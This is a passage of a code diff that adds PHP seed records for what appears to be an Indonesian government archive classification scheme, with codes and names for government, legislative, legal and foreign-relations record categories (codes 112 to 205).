'Meliputi: pencalonan, pengangkatan, pelantikan, sumpah, dan serah jabatan', + 'enabled' => 1, + ], + [ + 'id' => 172, + 'kode' => '112.1', + 'nama' => 'Pertanggung jawaban wakil presiden kepada MPR', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 173, + 'kode' => '112.2', + 'nama' => 'Amanat Wakil Presiden/Amanat Kenegaraan/Pidato', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 174, + 'kode' => '113', + 'nama' => 'Susunan Kabinet', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 175, + 'kode' => '113.1', + 'nama' => 'Reshuffle', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 176, + 'kode' => '113.2', + 'nama' => 'Penunjukan Menteri ad interim', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 177, + 'kode' => '113.3', + 'nama' => 'Sidang Kabinet', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 178, + 'kode' => '114', + 'nama' => 'Kementerian Dalam Negeri', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 179, + 'kode' => '114.1', + 'nama' => 'Amanat Menteri Dalam Negeri/Sambutan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 180, + 'kode' => '115', + 'nama' => 'Kementerian lainnya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 181, + 'kode' => '116', + 'nama' => 'Lembaga Tinggi Negara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 182, + 'kode' => '117', + 'nama' => 'Lembaga Non Kementerian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 183, + 'kode' => '118', + 'nama' => 'Otonomi/Desentralisasi/Dekonsentrasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 184, + 'kode' => '119', + 'nama' => 'Kerjasama Antar Kementerian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 185, + 'kode' => '120', + 'nama' => 'PEMERINTAH PROVINSI', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 186, + 'kode' => '120.04', + 'nama' => 'Laporan daerah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 187, + 'kode' => '120.42', + 'nama' => 'Monografi tambahkan kode wilayah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 188, + 'kode' => '120.1', + 'nama' => 'Koordinasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 189, + 'kode' => '120.2', + 'nama' => 'Instansi Tingkat Provinsi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 190, + 'kode' => '120.21', + 'nama' => 'Dinas Otonomi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 191, + 'kode' => '120.22', + 'nama' => 'Instansi Vertikal', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 192, + 'kode' => '120.23', + 'nama' => 'Kerjasama antar Provinsi/Daerah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 193, + 'kode' => '121', + 'nama' => 'Gubernur tambahkan kode wilayah, ', + 'uraian' => 'Meliputi: Pencalonan, Pengangkatan, Meninggal, Pelantikan, Pemberhentian, Serah Terima Jabatan dan sebagainya.', + 'enabled' => 1, + ], + [ + 'id' => 194, + 'kode' => '122', + 'nama' => 'Wakil Gubernur tambahkan kode wilayah, ', + 'uraian' => 'Meliputi: Pencalonan, Pengangkatan, Meninggal, Pelantikan, Pemberhentian, Serah Terima Jabatan dan sebagainya.', + 'enabled' => 1, + ], + [ + 'id' => 195, + 'kode' => '123', + 'nama' => 'Sekretaris Wilayah tambahkan kode wilayah, ', + 'uraian' => 'Meliputi: Pencalonan, Pengangkatan, Meninggal, Pelantikan, Pemberhentian, Serah Terima Jabatan dan sebagainya.', + 'enabled' => 1, + ], + [ + 'id' => 196, + 'kode' => '124', + 'nama' => 'Pembentukan/Pemekaran Wilayah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 197, + 'kode' => '124.1', + 'nama' => 'Pembinaan/Perubahan Nama kepada: Daerah, Kota,Benda, Geografis, Gunung, Sungai, Pulau, Selat, Batas laut, dan sebagainya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 198, + 'kode' => '124.2', + 'nama' => 'Pemekaran Wilayah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 199, + 'kode' => '124.3', + 'nama' => 'Forum Koordinasi lainnya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 200, + 'kode' => '125', + 'nama' => 'Pembentukan Pemekaran Wilayah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 201, + 'kode' => '125.1', + 'nama' => 'Pembinaan/Perubahan Nama Kepada: Daerah, Kota, Benda, Geografis, Gunung, Sungai, Pulau, Selat, Batas Laut, dan sebagainya.', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 202, + 'kode' => '125.2', + 'nama' => 'Pembentukan Wialayah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 203, + 'kode' => '125.3', + 'nama' => 'Pemindahan Ibukota', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 204, + 'kode' => '125.4', + 'nama' => 'Perubahan batas Wilayah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 205, + 'kode' => '125.5', + 'nama' => 'Pemekaran Wialayah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 206, + 'kode' => '126', + 'nama' => 'Pembagian Wilayah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 207, + 'kode' => '127', + 'nama' => 'Penyerahan Urusan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 208, + 'kode' => '128', + 'nama' => 'Swaparaja/Penataan Wilayah/Daerah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 209, + 'kode' => '129', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 210, + 'kode' => '130', + 'nama' => 'PEMERINTAH KABUPATEN / KOTA', + 'uraian' => 'Bupati /Walikota, Tambahkan Kode Wilayah, Meliputi: Pencalonan,Pengangkatan, Meninggal, Pelantikan,', + 'enabled' => 1, + ], + [ + 'id' => 211, + 'kode' => '131', + 'nama' => 'Pemberhentian, Serah Terima Jabatan, dsb', + 'uraian' => 'Sambutan / Pengarahan / Amanat Wakil Bupati /Walikota, Tambahkan Kode Wilayah, Meliputi: Pencalonan, Pengangkatan, Meninggal, Pelantikan,', + 'enabled' => 1, + ], + [ + 'id' => 212, + 'kode' => '132', + 'nama' => 'Pemberhentian, Serah Terima Jabatan, Sekretaris Daerah Kabupaten/Kota, Tambahkan Kode Wilayah, ', + 'uraian' => 'Meliputi: Pencalonan, Pengangkatan, Meninggal,', + 'enabled' => 1, + ], + [ + 'id' => 213, + 'kode' => '133', + 'nama' => 'Pelantikan, Pemberhentian, Serah Terima Jabatan,.', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 214, + 'kode' => '134', + 'nama' => 'Forum Koordinasi Pemerintah Di Daerah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 215, + 'kode' => '134.1', + 'nama' => 'Muspida', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 216, + 'kode' => '134.2', + 'nama' => 'Forum PAN (Panitian Anggaran Nasional)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 217, + 'kode' => '134.3', + 'nama' => 'Forum Koordinasi Lainnya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 218, + 'kode' => '134.4', + 'nama' => 'Kerjasama antar Kabupaten/Kota', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 219, + 'kode' => '135', + 'nama' => 'Pembentukan / Pemekaran Wilayah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 220, + 'kode' => '135.1', + 'nama' => 'Pemindahan Ibukota', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 221, + 'kode' => '135.2', + 'nama' => 'Pembentukan Wilayah Pembantu Bupati/Walikota', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 222, + 'kode' => '135.3', + 'nama' => 'Pemabagian Wilayah Kabupaten/Kota', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 223, + 'kode' => '135.4', + 'nama' => 'Perubahan Batas Wilayah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 224, + 'kode' => '135.5', + 'nama' => 'Pemekaran Wilayah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 225, + 'kode' => '135.6', + 'nama' => 'Permasalahan Batas Wilayah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 226, + 'kode' => '135.7', + 'nama' => 'Pembentukan Ibukota Kabupaten/Kota Pemberian dan Penggantian Nama Kabupaten/Kota, Daerah,', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 227, + 'kode' => '135.8', + 'nama' => 'Jalan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 228, + 'kode' => '136', + 'nama' => 'Pembagian Wilayah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 229, + 'kode' => '137', + 'nama' => 'Penyerahan Urusan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 230, + 'kode' => '138', + 'nama' => 'Pemerintah Wilayah Kecamatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 231, + 'kode' => '138.1', + 'nama' => 'Sambutan / Pengarahan / Amanat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 232, + 'kode' => '138.2', + 'nama' => 'Pembentukan Kecamatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 233, + 'kode' => '138.3', + 'nama' => 'Pemekaran Kecamatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 234, + 'kode' => '138.4', + 'nama' => 'Perluasan/Perubahan Batas Wilayah Kecamatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 235, + 'kode' => '138.5', + 'nama' => 'Pembentukan Perwakilan Kecamatan/Kemantren', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 236, + 'kode' => '138.6', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 237, + 'kode' => '138.7', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 238, + 'kode' => '139', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 239, + 'kode' => '140', + 'nama' => 'PEMERINTAHAN DESA / KELURAHAN', + 'uraian' => 'Pamong Desa, Meliputi: Pencalonan, Pemilihan, Meninggal,', + 'enabled' => 1, + ], + [ + 'id' => 240, + 'kode' => '141', + 'nama' => 'Pengangkatan, Pemberhenian, dan sebagainya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 241, + 'kode' => '142', + 'nama' => 'Penghasilan Pamong Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 242, + 'kode' => '143', + 'nama' => 'Kekayaan Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 243, + 'kode' => '144', + 'nama' => 'Dewan Tingkat Desa, Dewan Marga, Rembug Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 244, + 'kode' => '145', + 'nama' => 'Administrasi Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 245, + 'kode' => '146', + 'nama' => 'Kewilayahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 246, + 'kode' => '146.1', + 'nama' => 'Pembentukan Desa/Kelurahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 247, + 'kode' => '146.2', + 'nama' => 'Pemekaran Desa/Kelurahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 248, + 'kode' => '146.3', + 'nama' => 'Perubahan Batas Wilayah / Perluasan Desa / Kelurahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 249, + 'kode' => '146.4', + 'nama' => 'Perubahan Nama Desa / Kelurahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 250, + 'kode' => '146.5', + 'nama' => 'Kerjasama Antar Desa / Kelurahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 251, + 'kode' => '147', + 'nama' => 'Lembaga-lembaga Tingkat Desa', + 'uraian' => 'Jangan Klasifikasikan Disini, Lihat 410 Dengan Perinciannya', + 'enabled' => 1, + ], + [ + 'id' => 252, + 'kode' => '148', + 'nama' => 'Perangkat Kelurahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 253, + 'kode' => '148.1', + 'nama' => 'Kepala Kelurahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 254, + 'kode' => '148.2', + 'nama' => 'Sekretaris Kelurahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 255, + 'kode' => '148.3', + 'nama' => 'Staf Kelurahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 256, + 'kode' => '149.1', + 'nama' => 'Dewan Kelurahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 257, + 'kode' => '149.2', + 'nama' => 'Rukun Tetangga', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 258, + 'kode' => '149.3', + 'nama' => 'Rukun Warga', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 259, + 'kode' => '149.4', + 'nama' => 'Rukun Kampung', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 260, + 'kode' => '150', + 'nama' => 'LEGISLATIF MPR / DPR / DPD', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 261, + 'kode' => '151', + 'nama' => 'Keanggotaan MPR', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 262, + 'kode' => '151.1', + 'nama' => 'Pencalonan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 263, + 'kode' => '151.2', + 'nama' => 'Pemberhentian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 264, + 'kode' => '151.3', + 'nama' => 'Recall', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 265, + 'kode' => '151.4', + 'nama' => 'Pelanggaran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 266, + 'kode' => '152', + 'nama' => 'Persidangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 267, + 'kode' => '153', + 'nama' => 'Kesejahteraan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 268, + 'kode' => '153.1', + 'nama' => 'Keuangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 269, + 'kode' => '153.2', + 'nama' => 'Penghargaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 270, + 'kode' => '154', + 'nama' => 'Hak', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 271, + 'kode' => '155', + 'nama' => 'Keanggotaan DPR ', + 'uraian' => 'Pencalonan Pengangkatan Persidangan Sidang Pleno Dengar Pendapat/Rapat Komisi', + 'enabled' => 1, + ], + [ + 'id' => 272, + 'kode' => '156', + 'nama' => 'Reses', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 273, + 'kode' => '157', + 'nama' => 'Kesejahteraan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 274, + 'kode' => '157.1', + 'nama' => 'Keuangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 275, + 'kode' => '157.2', + 'nama' => 'Penghargaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 276, + 'kode' => '158', + 'nama' => 'Jawaban Pemerintah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 277, + 'kode' => '159', + 'nama' => 'Hak', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 278, + 'kode' => '160', + 'nama' => 'DPRD PROVINSI TAMBAHKAN KODE WILAYAH', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 279, + 'kode' => '161', + 'nama' => 'Keanggotaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 280, + 'kode' => '161.1', + 'nama' => 'Pencalonan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 281, + 'kode' => '161.2', + 'nama' => 'Pengangkatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 282, + 'kode' => '161.3', + 'nama' => 'Pemberhentian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 283, + 'kode' => '161.4', + 'nama' => 'Recall', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 284, + 'kode' => '161.5', + 'nama' => 'Meninggal', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 285, + 'kode' => '161.6', + 'nama' => 'Pelanggaran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 286, + 'kode' => '162', + 'nama' => 'Persidangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 287, + 'kode' => '162.1', + 'nama' => 'Reses', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 288, + 'kode' => '163', + 'nama' => 'Kesejahteraan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 289, + 'kode' => '163.1', + 'nama' => 'Keuangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 290, + 'kode' => '163.2', + 'nama' => 'Penghargaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 291, + 'kode' => '164', + 'nama' => 'Hak', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 292, + 'kode' => '165', + 'nama' => 'Sekretaris DPRD Provinsi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 293, + 'kode' => '166', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 294, + 'kode' => '167', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 295, + 'kode' => '168', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 296, + 'kode' => '169', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 297, + 'kode' => '170', + 'nama' => 'DPRD KABUPATEN TAMBAHKAN KODE WILAYAH', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 298, + 'kode' => '171', + 'nama' => 'Keanggotaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 299, + 'kode' => '171.1', + 'nama' => 'Pencalonan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 300, + 'kode' => '171.2', + 'nama' => 'Pengangkatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 301, + 'kode' => '171.3', + 'nama' => 'Pemberhentian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 302, + 'kode' => '171.4', + 'nama' => 'Recall', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 303, + 'kode' => '171.5', + 'nama' => 'Pelanggaran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 304, + 'kode' => '172', + 'nama' => 'Persidangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 305, + 'kode' => '173', + 'nama' => 'Kesejahteraan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 306, + 'kode' => '173.1', + 'nama' => 'Keuangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 307, + 'kode' => '173.2', + 'nama' => 'Penghargaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 308, + 'kode' => '174', + 'nama' => 'Hak', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 309, + 'kode' => '175', + 'nama' => 'Sekretaris DPRD Kabupaten/Kota', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 310, + 'kode' => '176', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 311, + 'kode' => '177', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 312, + 'kode' => '178', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 313, + 'kode' => '180', + 'nama' => 'HUKUM', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 314, + 'kode' => '180.1', + 'nama' => 'Kontitusi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 315, + 'kode' => '180.11', + 'nama' => 'Dasar Hukum', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 316, + 'kode' => '180.12', + 'nama' => 'Undang-Undang Dasar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 317, + 'kode' => '180.2', + 'nama' => 'GBHN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 318, + 'kode' => '180.3', + 'nama' => 'Amnesti, Abolisi dan Grasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 319, + 'kode' => '181', + 'nama' => 'Perdata', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 320, + 'kode' => '181.1', + 'nama' => 'Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 321, + 'kode' => '181.2', + 'nama' => 'Rumah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 322, + 'kode' => '181.3', + 'nama' => 'Utang/Piutang', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 323, + 'kode' => '181.31', + 'nama' => 'Gadai', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 324, + 'kode' => '181.32', + 'nama' => 'Hipotik', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 325, + 'kode' => '181.4', + 'nama' => 'Notariat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 326, + 'kode' => '182', + 'nama' => 'Pidana', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 327, + 'kode' => '182.1', + 'nama' => 'Penyidik Pegawai Negeri Sipil (PPNS)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 328, + 'kode' => '183', + 'nama' => 'Peradilan', + 'uraian' => 'Peradilan Agama Islam 451.6, Peradilan Perkara Tanah 593.71', + 'enabled' => 1, + ], + [ + 'id' => 329, + 'kode' => '183.1', + 'nama' => 'Bantuan Hukum', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 330, + 'kode' => '184', + 'nama' => 'Hukum Internasional', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 331, + 'kode' => '185', + 'nama' => 'Imigrasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 332, + 'kode' => '185.1', + 'nama' => 'Visa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 333, + 'kode' => '185.2', + 'nama' => 'Pasport', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 334, + 'kode' => '185.3', + 'nama' => 'Exit', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 335, + 'kode' => '185.4', + 'nama' => 'Reentry', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 336, + 'kode' => '185.5', + 'nama' => 'Lintas Batas/Batas Antar Negara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 337, + 'kode' => '186', + 'nama' => 'Kepenjaraan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 338, + 'kode' => '187', + 'nama' => 'Kejaksaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 339, + 'kode' => '188', + 'nama' => 'Peraturan Perundang-Undangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 340, + 'kode' => '188.1', + 'nama' => 'TAP MPR', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 341, + 'kode' => '188.2', + 'nama' => 'Undang-Undang Dasar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 342, + 'kode' => '188.3', + 'nama' => 'Peraturan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 343, + 'kode' => '188.31', + 'nama' => 'Peraturan Pemerintah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 344, + 'kode' => '188.32', + 'nama' => 'Peraturan Menteri', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 345, + 'kode' => '188.33', + 'nama' => 'Peraturan Lembaga Non Departemen', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 346, + 'kode' => '188.34', + 'nama' => 'Peraturan Daerah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 347, + 'kode' => '188.341', + 'nama' => 'Peraturan Provinsi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 348, + 'kode' => '188.342', + 'nama' => 'Peraturan Kabupaten/Kota', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 349, + 'kode' => '188.4', + 'nama' => 'Keputusan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 350, + 'kode' => '188.41', + 'nama' => 'Presiden', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 351, + 'kode' => '188.42', + 'nama' => 'Menteri', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 352, + 'kode' => '188.43', + 'nama' => 'Lembaga Non Departemen', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 353, + 'kode' => '188.44', + 'nama' => 'Gubernur', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 354, + 'kode' => '188.45', + 'nama' => 'Bupati/Walikota', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 355, + 'kode' => '188.5', + 'nama' => 'Instruksi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 356, + 'kode' => '188.51', + 'nama' => 'Presiden', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 357, + 'kode' => '188.52', + 'nama' => 'Menteri', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 358, + 'kode' => '188.53', + 'nama' => 'Lembaga Non Departemen', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 359, + 'kode' => '188.54', + 'nama' => 'Gubernur', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 360, + 'kode' => '188.55', + 'nama' => 'Bupati/Walikota', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 361, + 'kode' => '189', + 'nama' => 'Hukum Adat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 362, + 'kode' => '189.1', + 'nama' => 'Tokoh Adat/Masyarakat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 363, + 'kode' => '190', + 'nama' => 'HUBUNGAN LUAR NEGERI', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 364, + 'kode' => '191', + 'nama' => 'Perwakilan Asing', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 365, + 'kode' => '192', + 'nama' => 'Tamu Negara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 366, + 'kode' => '193', + 'nama' => 'Kerjasama Dengan Negara Asing', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 367, + 'kode' => '193.1', + 'nama' => 'Asean', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 368, + 'kode' => '193.2', + 'nama' => 'Bantuan Luar Negeri/Hibah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 369, + 'kode' => '194', + 'nama' => 'Perwakilan RI Di Luar Negeri/Hibah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 370, + 'kode' => '195', + 'nama' => 'PBB', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 371, + 'kode' => '196', + 'nama' => 'Laporan Luar Negeri', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 372, + 'kode' => '197', + 'nama' => 'Hutang Luar Negeri PHLN/LOAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 373, + 'kode' => '198', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 374, + 'kode' => '199', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 375, + 'kode' => '200', + 'nama' => 'POLITIK', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 376, + 'kode' => '201', + 'nama' => 'Kebijaksanaan umum', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 377, + 'kode' => '202', + 'nama' => 'Orde baru', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 378, + 'kode' => '203', + 'nama' => 'Reformasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 379, + 'kode' => '204', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 380, + 'kode' => '205', + 